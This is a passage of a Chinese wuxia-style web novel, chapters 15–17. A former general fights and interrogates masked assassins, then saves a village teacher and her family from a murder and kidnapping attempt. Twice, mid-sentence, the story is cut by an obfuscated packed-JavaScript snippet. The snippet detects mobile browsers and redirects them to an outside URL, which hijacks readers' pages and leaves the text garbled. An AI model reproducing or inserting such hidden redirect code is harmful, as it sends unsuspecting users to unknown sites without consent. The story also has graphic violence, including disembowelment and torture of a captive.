他尝试着提了提两把剑,甚是称手,心中胜算就更大了些。 没等他缓神多久,其他黑衣人已经一言不发地涌了上来,一窝蜂似的,难以找到他们出动的规律。难度比方才攻击那两个黑衣人大得多。 看来这些人还有脑子,知道用那个刀剑圈对付自己没用,果断就换了战术! 关阇彦卯足劲再度腾然跃起,却靠着惊人的躯体柔韧度瞬间重重俯下身去,抓紧两只剑柄的双手指节因过度用力而显现出诡异的青白色。涌上来的黑衣人没想到他会突然下沉身子,朝上方突击的动作无法及时逆转,等他要回转剑刃的时候,关阇彦俯就的身子突然绷直,一把长剑不偏不倚地送入了上方家伙的腹中。 关度彦急于对付其他黑衣人,拔剑的时候难免粗暴,竟直接将那黑衣人腹上的皮肉扯开,肠子血水一股脑喷涌出去,腥臭无比,黑衣人就此气绝,旁人亦被这般现象震慑了好几个度。 关度彦庆幸自己躲得快,只让那些污秽东西沾到了一角衣服,再没架子的人沾了一身腥,心情都会极差。 他强行扼住胸腔里翻滚的呕意,因为除了上战场以外,平日生活里的他,虽不强求养尊处优,却难以接受超出心理防线的恶心之物。 他甚至已经做好了事情结束后就要回冯家,上上下下把自己洗个几遍的打算。 其他黑衣人明显愣了好几个动作,全身上下唯露出的那一对眼睛里,盛放的情绪波动很大,一会儿闪过诧异,应是完全没想到这次碰到的硬茬儿会如此强悍,一会儿闪过恐惧,应是被关度彦的手段吓住。 最后他们无不将情绪定格成更加阴郁的杀意,看来是被彻底惹怒了,他们对待关阇彦的态度明显阴狠毒辣了很多。 但关阇彦对此浑不在意,叫他以一人敌百都尚可,即便状态不好,随手杀杀十几个人也不在话下。面对眼前这些已经被他折损了好几个的小喽啰,他傲睨自若,完全没把他们放在眼里过。 双方大打出手后,不过掐指间,黑衣人便又覆灭了大半,唯剩几个命好躲得快的家伙,避过了被一击毙命的劫数。 关阇彦擦了把糊在脸上的汗,姿态昂扬,逆风翻盘的滋味可真是爽快,他险些飘飘然去,大笑说道:“有胆的都上来啊!方才不是挺能打么?” 那几个黑衣人见状顿住身形,经过前面两次的攻击失策后,他们终于明白了关阇彦不是他们能轻易绊倒的桩子,也是肯沉下浮躁的心,趁着关阇彦没冲过来的时候,全部默契地退到了身后浓雾成群的林子里去。 关阇彦察觉到了他们躲在他看不到的地方,不知嘀嘀咕咕些什么,他预感不好,刚要出声干扰,黑衣人们就齐发发跳出了雾气。凑近好几尺,关阇彦才数住了他们的人数,一共五个。 五个黑衣人对接眼神,采用两面夹击之势,将关阇彦再度包围起来。架势颇像刚开始那个风圈有的模样。 关阇彦心中沉道:“莫非是要故技重施?” 他只好这么提前做打算,并且结合之前破圈的经验,改进攻击的方式。 但这不可代表敌人是不是在用眼熟的风圈引诱他做出动作,于是他还提前做好了不被敌人预判攻击的准备,比预先想好的出手速度慢了很多,为的就是探探敌人是不是真的想拿捏他。 结果最先朝他送剑的黑衣人的确用的是老路子攻击的他,他不得不快手提剑杀过去,直接在黑衣人胸前捅穿过去,真当他以为反而是自己提前预判了敌方动作的时候。他也猝然意识到明明夹击他两面的黑衣人除了这一个以外,都没有对他动手,好像是在故意等待什么时机。 他料想得一分不差,就是太晚了些。 被捅穿胸部的黑衣人才是预判关阇彦动作的人,他故意避开了要害,让剑在刺入身体后无法当即要了他的命。 然后他在倒地的时候就拼命抓住胸上的剑,突往后方拖行,紧紧拖着血洞上插着的剑刃,连同关阇彦的那只抓住长剑的手臂被惯性拽上前。 其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447357|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个黑衣人在首攻者动手后,立马瞬移至关阇彦近身,四只剑落空了两只,一个刺进了关阇彦左后背半指头深的血肉,一个则落在关阇彦抓剑的手上。 不过落在他身上的两剑虽然伤到了他,却没伤多少。 关阇彦松手极快,虎口被划开口子后,就转过后背,把刺入其中的剑头也甩开了。 原来黑衣人们是想用一个人作诱饵,假借预判关阇彦的攻击,从而骗走他的注意力,让他将剑送出去后无法及时抽身。 这时,剩下几个活着的就要去偷袭他,并且偷袭成功了。 明明背后的伤势更重一些,关阇彦却偏偏为了左手掌的伤口疼得失了血色,这是他被余毒草侵害过的手掌,溃烂发烫过几日。 起初他是觉得没什么,越到后面越是刺痛挠心,好在有魏郁春的草药辅助愈合,要不然他绝不会这么快就能把纱布撤掉。 涔涔冷汗如雨滴落,他垂眼看了一眼空落落的手,愈合的痂皮龟裂,溃烂的肉翻开,滚热的血液顺着他的劲手滑落。他试着微微弯曲手指,却发现已疼到麻木,显然快要脱力。 这是他的弱点,一个他自己本人都快要忘了存在感的弱点,居然会被黑衣人盯上。 这是很不可思议的事情,他没有因为这个伤口再疼过多少,表现得自然,不可能有破绽露出。 若不是黑衣人目的太过明确,其落剑的地方也不会如此精准无误——所以,那个黑衣人是故意要伤了他左手的虎口。真是卑鄙! 所以这五个家伙躲在雾林商讨的事情便和此有关! 这些黑衣人到底是怎么知道这个弱点的?! 他起初以为引他来雾林的黑衣人就是雨夜的那只,但没想到人数如此众多,匆忙对战时忘记了继续追究雨夜黑衣人这桩事。毕竟,黑衣人众多的情况下,他无法判断这个组织总共还有多少家伙伏在他处,也已经没办法确定雨夜黑衣人是不是也在这里面了。 但现在情况可不同了!雨夜黑衣人一定在这里面,除了他以外,还有谁会知道他的旧伤在何处?! 关阇彦眼中的戾色愈来愈浓。 他漂浮的心神也都被收了回来,怒火亦被彻底点燃。 疼痛没了影,他突然变得和没事人一样,疯了一般扭转手腕,将另一只还能用的手抓住剑刃,倒向外部,直指黑衣人。 黑衣人们也是懵了,本以为可以靠控住他的软肋制服他,结果非但没有把他怎么样,还叫那些针对他们的煞气越来越浓。 关阇彦将剑柄外推,假装要继续刺入黑衣人们的腹部。他的动作势如破竹,周边几只树干差别被剑气斫去,黑衣人们为了躲避齐齐闷哼几声,差点倒了下去,因体力不支很快就苟延残喘了起来。 他此时又突然变卦,手臂内收,将剑刃贴住半个手臂,趁黑衣人们着急护住上半身的时候,他屈身朝这四个人的□□飞划过去。 他故意没有使出全力,而是想用这个办法试探这四个人的下肢力量。他知道雨夜黑衣人同样因为余毒草害了一条左腿,虽然平常动作时不会太波及伤口,但急于避险时的肌肉紧缩必会牵扯到此地,就算黑衣人再要隐瞒,也抵不住身体本能的反应。 他这是以其人之道还治其人之身,通过找出对方的弱点来给对方痛击。 “哼,你若无脸无皮,就休怪我无德无情了!”关阇彦腹诽道。 15. 东窗事发 果不其然,关阇彦顺利通过这个方法,在四个黑衣人影里寻到了一只躲避时左腿行动勉强的家伙,仔细看去,也会发现他腿部抽动的位置刚巧是关阇彦印象里雨夜黑衣人该受伤的地方。 “原来是你。” 关阇彦长眸一凝,心中有所了悟后但又迅速放空眼眸,装作无事发生,其动作亦是配合着他的念头。 试探结束后,他故意拎回长剑,放宽对四个黑衣人的辖控。他知道自己已经给足了这些人威压,若是他们不傻,第一念头肯定不是继续与他争斗,而是速速逃跑。 他虽算不上多理智,却很清楚地知道自己现在的处境。 夜幕下的林子雾气深重,他是误闯入这里的人,对此地的熟悉程度岂比得过这群负责布置埋伏的黑衣人? 所以他必须得沉得住气,纵使怒火中烧,也不能立马杀了这四个黑衣人。他只需要略施小计,让黑衣人误以为是他们有些能耐,能躲得过他的诛杀。 等这群人仓皇逃走的时候,他就默默追上去,他们既然要逃命,就不可能深入林子里不熟悉的地方,绝对会往通向出口的地方逃遁。 为了防止雨夜黑衣人起疑心,关阇彦没有动他,顺手还把他三个同伴一起放走了。 反正这四个人最后还是会一起出去,即便中途出现意外,他也会立即现身杀人了事。 黑衣人们仓皇而逃,一切都顺利地按照关阇彦的想法进行着,关阇彦算好双方该保持的合理距离后,旋即单臂提剑,追了上去,脚步快浮,速而不急,乍听过去竟无法辨别这到底是他的脚步声,还是风过林叶时婆娑的声音。 一轮明月高挂深空,今日月中时分,明月圆矣,泛着白亮的光,虽不及八月中秋的两目,却也足以照亮能在视野里有个一席之地的山中景色。 那抹月光好似能将雾气穿透,越凑近林外,雾气就越来越稀薄,可怖的魆色也变得银白朦胧,给人一种森然恶鬼忽变无辜稚子的错觉。 关阇彦也渐渐能看到外面熟悉的草野,一只单薄的小建筑的影子摇摇欲坠般,竖在不远处,那就是那只半边墙都凑不齐一二的破败土地庙! 眼见时机成熟,他突然从深林的雾气蹦出来,速度快得如同化作一团煞气的鬼魅,影子都瞥不见,只能略微瞟到一两缕被大片阴影笼罩的残烟。 黑衣人们急于逃跑,本就因为和关阇彦对峙而感到身心疲乏的他们,此时只觉空虚麻木,状态不大不如前。如此,他们其中三个人还没来得及反应就被关阇彦一道剑锋划破了脖子,动脉鲜血喷涌而处,在微薄的月光雾气下划出三道诡异的血线。 关阇彦在他们四个人逃跑的时候,就紧紧锁定好了雨夜黑衣人的位置,无论其怎么瞎窜,他都能一下子辨出他的位置。 他先是看清了雨夜黑衣人惊诧的眼神,后立马捕捉住他嘴边微渗出的血迹,然后他几乎以瞬移的姿态来到了这个黑衣人面前,登时用力绷好黑衣人的口,使其长舌悬于口腔,防止他自行了断——这个家伙自知逃不掉,刚刚就准备咬舌自尽了,嘴角血迹就是最好的证明,可惜的是,他没能得逞。 关阇彦凉凉冷笑,对付俘虏,他的经验甚多。 虽然关阇彦限制了此人的言行,但他还是能继续发出话音,至多没了舌头辅助时那般清晰流畅。 “看来你早就发现我不是那个姓王的了,呵呵……” “否则……你不会在我们四个装束一模一样的人里瞬间认出我,你是故意让我们逃跑,好帮你找到出林的口子。” “你可真是聪明到令我意外……” 黑衣人从喉咙间阴阴地卡出几句话。 他虽如是说着,那双盯着关阇彦的眸子和他说话的嗓音,无不让关阇彦下意识发怵。因为无论是眼神还是嗓音,这黑衣人都和他碰到的那个王叔太相似了,除去情景不一时,情绪和语气的差别外,他们的这几个方面可以说是一模一样了。 关阇彦不信邪,什么都不说,当即抽出另一只受过伤还颤颤巍巍的手,一把将黑衣人掩面的黑布扯开,用力挺猛,黑布擦过此人脸庞时,在他下颌处刮伤了半只指甲盖大的皮肤。 令他既感到失望又觉得理所应当的是,他看到的是一张完全陌生的中年男人的脸。 他又大力地钳制住黑衣人的手脚,一把掀开包裹他头部的一整块头巾,找到他的后脖颈,发现与发际线相交的地方空白无比,根本没有雨夜印象中的胎记。 他皱眉想道:“王叔与黑衣人他们一个脖子后没有印记,一个有印记,因为是两个不同的人,倒也能说的过去。可我分明证实了雨夜里真正和他交手的黑衣人,就是眼前这个家伙。那他脖子后为何还是没有那个胎记?” 事到如今,事情的发展还是扑朔迷离得很,关阇彦怒不可遏,旋即厉声质问:“说!你脖子后的那个印记去哪儿了?!” “你和王叔究竟是什么关系?!” 黑衣人阴恻恻地笑着,可谓是嚣张地很:“呵呵……你有空关心这个,不如关心关心你那古溪村的小娘子。” 关阇彦堵在喉间的话音刹时嗡住,诡异的感觉撩拨他的心神,让他话音不稳起来:“你……什么意思?” “你难道不觉得奇怪吗?一路上根本没有人跟踪你,却还是精准地在你到村郊的时候把你引入林中。即便是埋伏,也不会做到这么完美无缺吧,毕竟要躲过你这样的人物的疑心,我等着实要费费心思啊。” 关阇彦看出他是故意犯贱让自己心神不稳,顿时移手掐住了他的脖子,论阴恻,黑衣人远不及现在的他。 “不要和我耍花招,你别以为我不知道你是想激怒我后杀了你。想不遭罪一死了之?没那么容易!” 黑衣人这才知道自己是弄巧成拙了,关阇彦不仅发现了他的心机,也逮住了套他话的机会…… 他虽为死士,能保命的时候却竭力保命,如今命八成保不住了也想着自行了断,少吃痛楚。 真是不知道该称他是怕死还是不怕死。 黑衣人猛烈地呛出一口血来:“咳咳咳……” 关阇彦重新抓起长剑,捞起黑衣人的左腿长裤,剑尖处插入了他遭余毒草腐蚀的伤口,剑伤很浅,要不了人命,却能让人痛不欲生。 这种滋味关阇彦刚吃过,他的复仇心往往极重,逮着机会就把这路子还了回去。 他冷冷扯着唇,话音很沉:“继续说!方才那话到底什么意思,是不是为了惹怒我临时编造的谎言?!” 黑衣人怕了,虽不情愿,却没有办法,他痉挛着身子,哀道:“……呵呵呵,谎言?若是如此,敢问冯家后山那具孩童尸体,是怎么掐点摆在那边等你瞧的呢?我说过了,无人跟踪你,却不代表无人监视你。” 关阇彦终于肯信了黑衣人的话,因为他说得很有道理,若是没有人远程监视他,后山出现的尸体、村郊的伏杀都不会配合得这么好。 这帮人目的原来根本不是自己!他们早就分拨两地,一拨引他出村,一拨则趁此时在冯家行贼事! 他会想起雨夜土地庙之事,越发感到清醒——黑衣人组织其实根本不在意他,他们从始至终都是在想办法劫杀冯家姐妹。这群黑衣人暂时伪造出了一个针对他的假象,让他误以为自己才是靶子,以至于东窗事发,他还毫无察觉。 可他明明确认过了王叔和集市老书生之间的联系,理应不会再有人想害冯家姐妹了才对! 这到底是怎么回事?! 他脸色白如漂纸,唇边已失了血色,他握住长剑的手僵住:“你们到底是什么人?为什么 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望着死不瞑目的黑衣人,关阇彦垂着脑袋,绑过头发的发带早已不知所踪,汗水浸湿了他大片的额头,胡乱散下的长发糊了他一脸。他的眼空洞,无知无觉地甩了甩手,长剑握手,活像是刚从地狱里爬出来的阎罗。 他无空去管自己现在是何模样。 他逼着自己从混乱的血壤中脱身,放弃抓住真相机会后的悔恨和不甘心似洪水猛兽,冲得他心门生疼,心中郁结愤懑交加,未痊愈的内伤又被撕开了旧口,盈了他一胸膛的血腥气。 他仰天看看天色如何,琢磨自己在林中和黑衣人们的纠葛不会超过一刻钟,倘若疾步而返,极大概率会阻止冯家的恶事。 他默声祈祷,其余关乎命运好丑之事,就只好交给冯家之人自己决断了。 冯家—— 魏郁春结束了一日的课业,累得仿佛要瘫痪,她今日本准备教授孩子们最基础的汉语写法,谁知还是急于求成了。 这群山间里野惯了的孩子们虽然有家中长辈照拂,可村中人茶事繁忙,又不知蹉跎村人多少精力,他们哪里有闲功夫看管教养孩子? 孩子们不懂规矩,更不谈尊师重道。说得不好听点,魏郁春自己也是个瘦竹竿女人,没啥魄力,又不会也舍不得揍孩子。 孩子们小的哭哭闹闹,吵得耳朵不得清净,大的呗事事不听教诲,当堂还嘴也是接连不断的事。甭提汉字能不能教出去一撇一捺,魏郁春觉得自己要先被气死了。 看来以后还是不能急性子,至少要花个十天半个月教他们规矩才行。魏郁春思量起来。 孩子们刚放了学,天际泛黑,浓云滚滚推着月上天,掐指过去就要入夜了。 说起来,魏郁春也是刚应付完巧儿这个小丫头片子。 这丫头今天可谓是带头作怪,发现小学堂的无趣可怕,与姐姐说得那样截然相反,心情跌落谷底,还有本事从早上哭到晚上,把自己弄得双眼红肿,晚上累得走不动道,求着姐姐陪着送到房。眨眼间就昏睡过去,任谁都叫不醒。 不久后冯家夫妇做好了饭,见巧儿不理睬,也是嗔怪不止。 桌上还摆着魏郁春给关阇彦准备的空碗筷,晚风凉凉,灌入倒映着清白圆月的碗底,居然有种说不出的空荡凉意。 魏郁春觉得奇怪,过了午后,她就一直没见到关阇彦的面。于是问了冯家夫妇才知道,关阇彦被夫妇两个请去帮忙采药了,采的还是治她病的药。 这让不爱求人的魏郁春别扭了好一阵,想到别人也是为自己忙活,旋即带入了些体谅他人的情绪,怕关阇彦迟迟不回是不是在山上碰到了意外,难免忧心。 她已经等他许久了。 16. 双面之人(1) 天未全黑,在魏郁春眼里,就算是事情还有转机。 饭毕,冯家夫妇把碗筷收齐后拿去洗,很快就回了屋子歇息,魏郁春没让他们把留给关阇彦的空碗和剩菜清走,她还坐在院子里刚撑了只简陋凉篷的小桌旁,望着围栏外蜿蜒而去的小路。 村民都归了家,路上空无一人,反倒是路边一户户人家里的小油灯挨个亮起。山中地势不一,家家户户有的看起来住在高出,有的住在矮处。 不同地方的灯光汇聚成了亮堂堂的小山。 她口中燥热,返回木屋里提了只刚烧好没多久的茶壶,小饮半碗后,悻悻然瞥了一眼碗中倒映的模糊人面。 盯着自己,她渐渐失神,莫知莫觉地想起关阇彦之前和她说过的话—— “对了,你今天怎么会给我留饭?” “嗯……其实我想说的是,如果还有下次,便不必为我留了。” “我晚上特地来寻你说这些其实思虑了许久,你一个女子家的遇上了这些事情容易害怕是不错,但我马上就要离开了,让你心底有个堤防总是不错。” 茶水晃动,将她浸入其中的神智摇了出去,转眸思量——“那人藏秘无数,身份和来南禺的契机一概不让人知晓,平时都是那副讳莫如深的模样。他若是离开,为避免麻烦,不会具体相告也是大有可能的事情。否则,他之前为什么要提醒自己那些话呢?” 他怕是拿着采药这个幌子作掩,早就远走高飞了,不会再回来了。 一切都是情有可原的事情,只是她愚钝,发现得慢了些。 时间渐渐流走,山间的蚊虫出来作祟,被灯光所引,掉了好几只在饭食上。 魏郁春自嘲一笑,撂下茶碗,还是把留给关阇彦的空碗剩饭都收到了灶屋。进来的时候,灶屋里只有她一个人,周遭安静得几乎针落可闻。她刚要出门拿瓢舀水,却碰上了一个低着头不说话的孩子。他刚好堵在灶屋门口,好像在这里等了魏郁春很久。 魏郁春见其装束熟悉,今日来小学堂上学的大多数小男孩们都是这种装扮。小男孩虽然深深埋着脑袋,却依旧能叫人借着昏黄的灯光,瞥见脸庞的轮廓。魏郁春下意识觉得他的模样很熟悉,就是没能具体认出他是谁。 她只认为这孩子是熟人。 魏郁春一时来不及想他出现的时机的诡异之处,反而欣喜上前,问他名字:“你叫什么名字啊?这么晚了不归家么?” 垂脑不语的小男孩缓缓上前几步,忽然蹬腿关紧了灶屋的门。他功力了得,屋门合上之时扫出的大风,竟直接将灶屋里的两只油灯同时吹灭,门落之时也没造出什么声响。 屋子里刹时漆黑,魏郁春虽不明所以,但也不会蠢到意识不到缭绕在孩子周身的肃杀之气,她借着月光定睛一看,竟瞥见他手里藏了个锐器,那东西在他长长的袖子中若隐若现。 男孩突然咧嘴一笑,埋在阴暗下的面目露出:“冯家娘子,我是来找你温书的啊~” 他竟是王叔家的儿子! 魏郁春对这个孩子有过一些印象,她记得关阇彦和她说过,一次白天她还在对村民们宣说小学堂的时候,王叔特地牵着自己十岁的独子过来,装作打听小学堂,实则是去刺探关阇彦。 在她的记忆中,这个孩子长着一张懵懂天真的面容,谁知还会做出这样怪异扭曲的神情? 魏郁春讶然张嘴,想要呼救,却没想到男孩突然跃起,瞬移一般闪现她身后,捂住她嘴后,果断提刀去扎她。 一个才十来岁的孩子,他怎么有这么大的力气去钳制她?她偏偏还因此动弹不得。 魏郁春杵在漆黑的阴暗中,面对生命威胁时,身体本能做出的反应,一下子将她带回前世的心理阴影里。 她目光凝滞住,瞳孔剧烈颤抖,眼球亦缠上了无数血丝,两行银泪滑落下来。她被捂住的口无助地张着,鼻子明明可以呼吸,却还是被无形的窒息感狠狠抵着,根本无法动弹——和前世山上自缢时的感觉完全一致。 又要结束了吗? 可是这一次又是因为什么呢?她明明已经很努力地活下去了,明明已经学会了坚强……学会了不再依靠别人……为什么命运还是不肯放过她? 她的泪无声无息地淌着,但那本该落在身上的刀却迟迟不落。 灶屋紧闭的窗子被硬生生地轰开了,那是她背后的方向。 千钧一发之际,轰隆隆一声刮过耳迹,背后的男孩果断跳跃,钳制她的手松开,她一个踉跄,腰弓反弹,差点后脑勺落地。 她瞥见窗外跳进来一个男人的身影,他身上好似流着亮晶晶的月华,像个救世主一样,令人看一眼就感到心安。 她苦着脸想着,若是上辈子,也有这样一个人去救救那个无助的小女孩就好了…… 男人拎着一把极其锋利的长剑,那男孩苦于与他悬殊的体型之差,瞬间就毙在了他的剑下。 男人的动作很快,杀完人后一把就揽过了魏郁春的腰,让她免遭落地之痛。 窗户破漏,外面亮着屁股的萤火虫被屋内暖气吸引而来,像个为这场英雄救美戏码捧场的看客,默契地环绕在屋内他们人身上。 荧光点亮关阇彦半侧的脸庞,那颗凝在他眼角的血珠子熠熠生辉,竟在他那身刚正不阿的气质上抹了把妖冶之风。 魏郁春还没缓过来,喘气声带动胸腹,起伏巨大。 关阇彦长叹了一口气,看起来也是极其疲惫,把男孩的尸体甩在一边,旋即拉住魏郁春的手跑出灶屋,嘱咐她:“我现在还没空管你,待这儿好好缓缓,出事了就跑过来找我。有些不想看的东西就别看。” 说罢,还不忘仓促推搡了一把她的背,力度之大差点把人推倒在地,叫她背过院子。 他还真是一如既往地嘴毒,办事的无情作风也是堪称上乘。 围栏圈住的院子正对着的是“凹”字形的一小排简陋砖屋,突出来的两只角刚好对应的是冯家夫妻和巧儿同住的大间,和一只为了关阇彦临时收拾出来的杂物间。凹在里面的空地后就是魏郁春的屋子,墙面挨着左边的大间,不和右边的杂物间相交,反而挨着的是杂物间后的后院。 大间里,冯家夫妻和冯巧儿老少三人刚歇息下没一个时辰,但估摸着都熟睡了,到现在都没什么动静。 里面不知什么时候也钻进了人,大间外刚好是灶屋,估摸因为听到了灶屋的杀机,大间里的东西仓皇不已,在里面窜动时撞到了什么物事,窸窸窣窣的,在背后响动,惹起魏郁春一身鸡皮疙瘩。 在这些声音响动时,关阇彦就已经无声无息地潜入了屋子。 屋内,帘子遮蔽着窗子,月色显得分外稀薄。关阇彦手中的寒剑却熠熠生辉着,许是被无数煞气滋养出来的光泽。 这只大间衔接魏郁春屋子的那扇门敞开,透过漏风的方向看去,就会发现魏郁春屋子后的窗子大剌剌地敞着,衔接窗屉的板子还碎了一半,夜风自此鱼贯而入。里面果然有黑衣人,还是两个人。 这俩家伙似乎顾忌着什么,不肯打草惊蛇,选了这么个隐蔽的法子闯进冯家,他们应该在此地潜伏观察了许久,熟知冯家构造。他们从魏郁春屋子进来,也是想着将家中所有人一网打尽,奈何他们失策,魏郁春一反往常不在屋子。 再看屋内其他老少三人,冯巧儿被夫妇二人怀在臂弯中,三人紧紧依靠,睡得极沉。 那两个黑衣人中的其中一人手里还拿着某种药粉,刚在三人鼻息间吹了吹,弥漫的药粉颗粒漂浮在稀薄的月色中。 另外一个人确保三人被药粉迷晕后,则准备用力掰开夫妇两人紧紧环住巧儿的手臂,他耐性不好,一时没得逞就气急败坏地怒哼了两口气。 看来他们不是要杀人,而是要绑架,绑架的目标不是冯家姐妹,而独是妹妹冯巧儿——关阇彦方才救下魏郁春的时候,就发现她身边那个家伙是要对她下死手的。 这两个黑衣人被关阇彦回来的动静慑住,现在的动作更加着急,奈何他们心贪,不肯放过快要到手的猎物。结果时间耽搁下来,关阇彦就已经闯了进来。 负责绑走冯巧儿的黑衣人急得提起剑,想生生把冯家夫妇的手臂砍下。 关阇彦冷哼一声,长臂一呼,那只被他从村郊带过来的长剑飞射了过去,他力气虽所剩无几,好在冯家这只明面上说是最大的屋子还是太小了,他用来支撑射程的力气不需要多勉强。 他曾任安南都督的时候,第一善用的兵器是长剑,第二善用的则是弓弩。如今此举,他算是把两种兵器的性能结合在了一起,杀个黑衣人不足挂齿。 料想这个黑衣人组织也是将他视作了心头大患,绝大部分的力气全部花在了对付他身上,要不然他们也不会如此大费周章地把他引到雾林,再对他下手。 所以相比之下,冯家的这三个黑衣人简直弱爆了。关阇彦一剑飞速驶去,那黑衣人动作都没来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447359|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得及变,就被刺死了。 那手持药粉的黑衣人惊得手抖,即使在黑夜,那拨白色的药粉扑洒下来,也如同下了一场白雾。 这药粉能迷幻他人,否则冯家老少三人在屋子里出了这么大事时,不可能还安然无恙地沉浸在睡梦中。 关阇彦并无遮掩口鼻的事物,他的一只伤手还不方便动弹,只好拿另外一只手捂紧口鼻,耽搁了追杀最后一个黑衣人的事情。 那黑衣人也是发现关阇彦的异样,趁着药粉制造的白雾作乱之时,他要逃去,奈何这个屋子不似魏郁春的一样装了窗屉,他要返回魏郁春的屋子却被关阇彦挡着路。情急之下,他没得挑,只好踹开正对灶屋和院子的门。 他飞走出去,刚好碰上院子里桩子似杵着的魏郁春,一时讶然。 魏郁春听到背后动静,心脏仿佛要撞出胸腔,她突然回头,一团白色不明薄雾中显出两个人影,跑在前头、一身夜行衣的家伙显然并非善类,他背后是捂住口鼻的关阇彦,显然就要追上黑衣人。 “快捂住口鼻,这些药粉有毒!”关阇彦瞳孔顿缩,忙对魏郁春喊道。 他虽是这么说,自己却先着了药粉的道,他头晕目眩,分明就要抓住黑衣人,却遭此误事,步伐虚浮了很多。 黑衣人还没意识到关阇彦出事,见眼前的魏郁春不过是个弱女子,何足为惧,为了甩开关阇彦,就故意朝着她的方向而去,手里的刀刃闪着毫不掩饰的寒光,咄咄逼人,怕是知道同伴皆死,自己又跑不过关阇彦,想靠这女人来威胁关阇彦。 关阇彦看出此人诡计,没有办法只好松开捂脸的手,捡起脚跟一根木枝,朝黑衣人的脑袋掷去。 黑衣人被击中后行动慢了很多,关阇彦钳制住他后,脑袋却嗡得变得空白,他方才松手后,加快了毒粉侵害自己的程度,如今毒粉入肺,神智已不是自己可以控制的地步了。 黑衣人见关阇彦步入萎靡,脸上的焦慌转瞬变成了讥诮,也不去管魏郁春,旋即和关阇彦缠斗了起来。 关阇彦在被制服在地,他瞥见魏郁春原地不动的鞋跟,不争气地骂了她一句:“还傻愣着干什么?快跑啊!” 魏郁春还未从阴影中走出来,眼中血色愈浓,连呼吸都要忘记如何操作,哪里会听得进关阇彦的话。 关阇彦心中胜券在握的得意心情顿落谷底,以为今晚这场闹剧还要再拉下一个新的帷幕。 他的眼神越来越迷离,撑到最后还是努力把黑衣人手中妄图刺向他的刀刃丢远,没让黑衣人伤到自己,但这个状态估计也不会撑太久。 他已经没什么力气开口说话了,再难听的话也只好咬牙腹诽。 “好你个冯迎春,今晚怕真是要交代在这儿了……我真是欠你的!” 他的确是欠人家一条命,只是没想到帮忙索债的阎罗王会这么快就来找他算账。 关阇彦的骂声,顿时将魏郁春从迷离的幻境里拔了出来。是啊,她早就不是朔州府的魏郁春了,而是南禺一户茶农的女儿,她叫冯迎春。这一世她没有死,她想要活下去,并且一定不能再如从前一样软弱无能,任人宰割了……她不能再把冯迎春的命弄丢了。 她也不能叫旁人被自己牵连了…… 她凝固的眸子忽的有了光泽,目光逡巡时,她瞥见了那把被关阇彦从黑衣人手上抢到丢出去的刀。那把刀被关阇彦丢得很远,恰恰哦就落在她几步路之外的地方。 她斜着脑袋,果断提住了那把刀刃。 刀刃的寒光倒映在她的鼻梁上,笔直地横在她的一对眸子上。 她的力气很小,提着这把刀需要两只手并握,模样看起来很是狼狈。她踏着最快的步伐,冲刺一般将刀剑对准了眼中正在与关阇彦缠斗的黑衣人,他占于上风,很好被刺中。 关阇彦完全料不到她会有如此作为,却也来不及想其他,拼尽全身气力控住了黑衣人的双臂,让他在刀刃入腹时无法避让。 “划拉”一声撕裂,刀鸣并起,黑衣人身下血流如注,当场倒地而死,死时无法瞑目,眼中蓄满了不甘心,应是死前都没想通为何自己是那个输家。 魏郁春见了血,两只手齐齐甩开了刀柄,浑身应激般战栗起来,呼吸亦是急促。 关阇彦终肯松了松精神,只是不禁想道:“坏了……还命不成,反倒又欠了人一条命债,日后如何还清?” 他居然还有闲情扯这些有的没的,令人大开眼界。 17. 双面之人(2) 魏郁春愣愣地盯着血泊中黑衣人的尸体,又瞬间甩开脑袋,着急跑开。 “先别着急跑,帮我个忙,舀一瓢灶屋外的桶里装的水,往我脸上倒就行……”关阇彦连忙回神,对她气若游丝般说道,声音小得如同细蚊。 谁能想到这是他现在最大的能耐了呢? 魏郁春被他喊住,些许夺回一丝可控的神智,抖着手提来一瓢井水,也不管关阇彦是如何模样,就果断地全部泼到了他身上。 虽然狼狈落魄得很,好歹还是清醒了,关阇彦也不去和人计较此事。他单手撑着地面,仰面长舒一口气,好歹把肺里的药粉积淤吐了个干净,哆哆嗦嗦地站了起来,整个上半身都沾满了了血和水的混合物,滴滴答答地掉落,不大好看。 “我爹娘……还有妹妹怎么样了?”魏郁春见他无恙,顾不上自己舒坦,跑来问询。 关阇彦将她眼里的脆弱一览无余,心中一梗,没想到她这样的人也会有这般的表现,算是打破了对她的刻板印象。 关阇彦耐心解释道:“这几个来历不明的家伙想要谋害他们三个人,但我出手及时,他们没什么事情,就是中了毒药还在昏迷。” “不过别担心,我中过这药粉,是蒙汗药,口鼻而入可致人昏迷不醒,麻痹神经。若想解毒,就把冷水往中者身上泼,保准能醒。” 然后魏郁春也没再问他什么,着急忙慌地拎着葫芦瓢返回打水,猜是想赶紧去给她爹娘和妹妹巧儿解毒。 却不想她还没跨出去几步,就被人硬生生拽住了胳膊,关阇彦沉声提醒她:“你先冷静冷静,看看四周,若是这些脏东西不处理掉,你爹娘他们醒来后,你要如何和他们解释?” “蒙汗药要不得人命,饶是睡够了就起了,不着急解毒。趁夜深闹不成大动静,我们快些把现场处理好再说。” 